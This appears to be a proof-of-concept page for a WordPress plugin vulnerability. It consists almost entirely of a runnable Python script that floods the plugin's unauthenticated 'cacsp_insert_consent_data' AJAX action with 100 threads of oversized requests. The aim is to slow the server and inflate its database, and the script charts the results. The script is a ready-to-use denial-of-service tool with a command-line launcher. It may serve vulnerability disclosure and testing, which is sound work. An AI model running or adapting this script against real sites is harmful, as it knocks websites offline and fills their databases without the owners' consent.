4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / payload.py PY
import requests
import threading
import time
from datetime import datetime
import matplotlib.pyplot as plt
import argparse

# Global lists for chart data
response_times = []
timestamps = []
timeout_times = []
successful_requests = 0
db_sizes = []  # Track database size over time

# Simple function to spam the target with AJAX requests
def ajax_dos_attack(target_url):
    # Basic payload that triggers the vulnerable endpoint
    data = {
        'action': 'cacsp_insert_consent_data',
        'accepted_cookies': 'necessary,experience,analytics,marketing',
        'expires': "9" * 255 # TINYTEXT max length
    }
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': target_url,
        'X-Requested-With': 'XMLHttpRequest'
    }
    
    # Keep hammering the server until stopped
    while True:
        try:
            # Start timing the request
            start_time = time.time()
            
            # Fire the request at admin-ajax.php
            response = requests.post(
                f"{target_url}/wp-admin/admin-ajax.php", 
                data=data, 
                headers=headers,
                timeout=5
            )
            
            # Calculate how long the server took to respond
            response_time = round((time.time() - start_time) * 1000, 2)
            
            # Record data for chart
            response_times.append(response_time)
            timestamps.append(time.time())
            
            # Calculate database impact (only for successful requests)
            if response.status_code == 200:
                global successful_requests
                successful_requests += 1
                
                # Dynamic calculation based on actual payload data
                time_bytes = 19  # "2024-08-04 22:10:41"
                ip_bytes = 13    # Average IPv4 length
                accepted_cookies_bytes = len(data['accepted_cookies']) + 1  # payload + space
                expires_bytes = len(data['expires'])
                site_bytes = 1   # "1"
                mysql_overhead = 22  # InnoDB overhead per row
                
                bytes_per_row = time_bytes + ip_bytes + accepted_cookies_bytes + expires_bytes + site_bytes + mysql_overhead
                db_size_mb = (successful_requests * bytes_per_row) / 1024 / 1024
                db_sizes.append(db_size_mb)
                db_info = f" | DB: {db_size_mb:.2f}MB ({successful_requests} rows, {bytes_per_row}b/row)"
            else:
                db_info = ""
                db_sizes.append(db_sizes[-1] if db_sizes else 0)  # Keep last size for failed requests
            
            # Show if request worked and how slow the server got
            status = "✓" if response.status_code == 200 else "✗"
            print(f"[{datetime.now().strftime('%H:%M:%S')}] {status} Status: {response.status_code} | Response time: {response_time}ms{db_info}")
            
        except requests.exceptions.Timeout:
            # Server is probably getting overwhelmed
            timeout_times.append(time.time())
            print(f"[{datetime.now().strftime('%H:%M:%S')}] ⚠ TIMEOUT - server not responding")
        except Exception as e:
            # Something else broke
            print(f"[{datetime.now().strftime('%H:%M:%S')}] ✗ Error: {str(e)[:60]}")


# Main attack launcher
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="DoS attack via vulnerable WordPress AJAX endpoint")
    parser.add_argument("--target", required=True, help="Target WordPress URL (e.g. https://example.com)")
    parser.add_argument("--threads", type=int, default=100, help="Number of threads (default: 100)")
    args = parser.parse_args()

    target = args.target
    thread_count = args.threads

    print(f"\nLaunching DoS attack with {thread_count} threads...")
    print("Press Ctrl+C to stop the attack\n")
    
    # Spawn all the attack threads
    threads = []
    for i in range(thread_count):
        t = threading.Thread(target=ajax_dos_attack, args=(target,))
        t.daemon = True  # Die when main program dies
        t.start()
        threads.append(t)
        
        # Small delay to avoid overwhelming our own system
        time.sleep(0.01)
    
    try:
        # Keep the chaos going until user stops it
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        # Clean shutdown and generate chart
        print("\n\nStopped by user")
        if response_times:
            # Sync list lengths (threads may add data after interrupt)
            min_len = min(len(response_times), len(timestamps), len(db_sizes))
            times = [(timestamps[i] - timestamps[0]) for i in range(min_len)]
            responses = response_times[:min_len]
            db_data = db_sizes[:min_len]
            
            # Create subplots
            fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(12, 10))
            
            # Response time chart (top)
            ax1.plot(times, responses, 'b-', linewidth=0.5, label='Response Time')
            if timeout_times and timestamps:
                timeout_relative = [(t - timestamps[0]) for t in timeout_times if timestamps]
                ax1.scatter(timeout_relative, [5000] * len(timeout_relative), color='red', s=20, label='Timeouts', zorder=5)
            ax1.set_ylabel('Response Time (ms)')
            ax1.set_title('Cookies and Content Security Policy')
            ax1.legend()
            ax1.grid(True, alpha=0.3)
            
            # Database size chart (bottom)
            ax2.plot(times, db_data, 'g-', linewidth=1, label='Database Size')
            ax2.set_xlabel('Time (seconds)')
            ax2.set_ylabel('Database Size (MB)')
            ax2.set_title('Database Growth Over Time')
            ax2.legend()
            ax2.grid(True, alpha=0.3)
            
            plt.tight_layout()
            plt.savefig('dos_attack_chart.png', dpi=150, bbox_inches='tight')
            print("Chart saved as 'dos_attack_chart.png'")